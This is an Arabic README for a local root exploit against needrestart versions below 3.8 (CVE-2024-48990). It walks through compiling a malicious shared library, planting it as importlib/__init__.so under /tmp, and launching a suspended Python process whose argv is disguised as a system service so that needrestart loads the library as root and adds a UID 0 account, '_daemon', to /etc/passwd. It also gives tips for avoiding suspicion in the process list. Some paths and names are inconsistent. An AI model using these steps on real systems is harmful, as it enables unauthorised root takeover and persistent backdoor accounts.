
استغلال لـ CVE-2024-48990 (تصعيد الامتيازات المحلية في needrestart < 3.8)
استغلال لـ CVE-2024-48990 (تصعيد الامتيازات محليًا في needrestart < 3.8)
اقرأ https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart. تشرحه Qualys بشكل رائع.
باختصار:
على الأنظمة التي تعمل بنسخة needrestart أقل من 3.8، يمكن للمستخدمين المحليين تنفيذ تعليمات برمجية عشوائية ورفع امتيازاتهم إلى صلاحيات الجذر دون أي تفاعل من المستخدم.

الاستغلال كما هو مكتوب الآن سيضيف مستخدمًا جديدًا باسم "_daemon" إلى النظام بمعرف المستخدم/المجموعة UID/GID بقيمة 0 (الجذر) باستخدام أمر sed لتعديل ملف /etc/passwd. كلمة المرور هي نفس اسم المستخدم. ولست متأكدًا حتى من إمكانية تسميته استغلالًا؛ فهو مجرد مكتبة مشتركة تنفّذ أمرًا واحدًا.
لتجميع الاستغلال بنفسك، نفّذ ما يلي:
gcc exploit.c -o exploit.so -shared -fPIC -s
mkdir -p /tmp/.X11-Unix/importlib
يمكنك تشغيل أي سكربت بايثون يستمر لفترة طويلة. ولكن لكي تبدو أقل إثارة للشك في قائمة العمليات، يمكنك استخدام هذا السطر الواحد لتشغيل مترجم بايثون يتم تعليقه فور بدئه (لذلك لا ينفّذ أي شيء فعليًا).
PYTHON - مسار مترجم بايثون
ARGV - السلسلة التي ستظهر في قائمة العمليات
PYPATH - المسار إلى الدليل الذي أنشأته (بدون تضمين دليل importlib)
بالنسبة إلى ARGV، تأكد مما يلي:
أن يكون مسار مترجم بايثون هو الوسيط الأول في ARGV.
أن يكون الوسيط الثاني ("السكربت") ملفًا موجودًا فعليًا على النظام (يتحقق needrestart من ذلك). لا يلزم أن يكون سكربت بايثون حقيقيًا.
ألّا يكون الوسيط الثاني مطابقًا لعملية قيد التشغيل بالفعل (سيستخدم needrestart العملية "المخزنة مؤقتًا" التي رآها سابقًا).
بخلاف ذلك، يمكنك التلاعب بـ ARGV كما تشاء. ربما اجعله يبدو كعملية نظام عادية؟
PYPATH=/tmp/e/ PYTHON=/usr/bin/python3 ARGV='/usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers' python3 -c 'import os,ctypes; libc=ctypes.CDLL("libc.so.6"); pid=os.fork(); exit() if pid > 0 else print("\n",os.getpid()); libc.ptrace(0, 0, 0, 0); os.execvpe(os.environ["PYTHON"], os.environ["ARGV"].split(), {"PYTHONPATH":os.environ["PYPATH"]})'
يجب أن يكون داخل دليل importlib وأن يكون اسمه "init.so"
mv /tmp/exploit.so /tmp/.X11-Unix/importlib/__init__.so
في المرة القادمة التي يعمل فيها needrestart (أي عندما يبدأه تحديث عبر apt أو unattended upgrades)، فإنه سيشغّل بايثون مع متغير PYTHONPATH الخاص بعمليتنا ويحمّل ملف init.so، الذي سينفّذ أمرنا. وستتمكن من تسجيل الدخول ببيانات الاعتماد _damon:_daemon.
إن needrestart ليست غبية تمامًا، فهي تتحقق من بضعة أشياء عند فحص العمليات وقبل الدخول إلى الجزء القابل للاستغلال من الكود: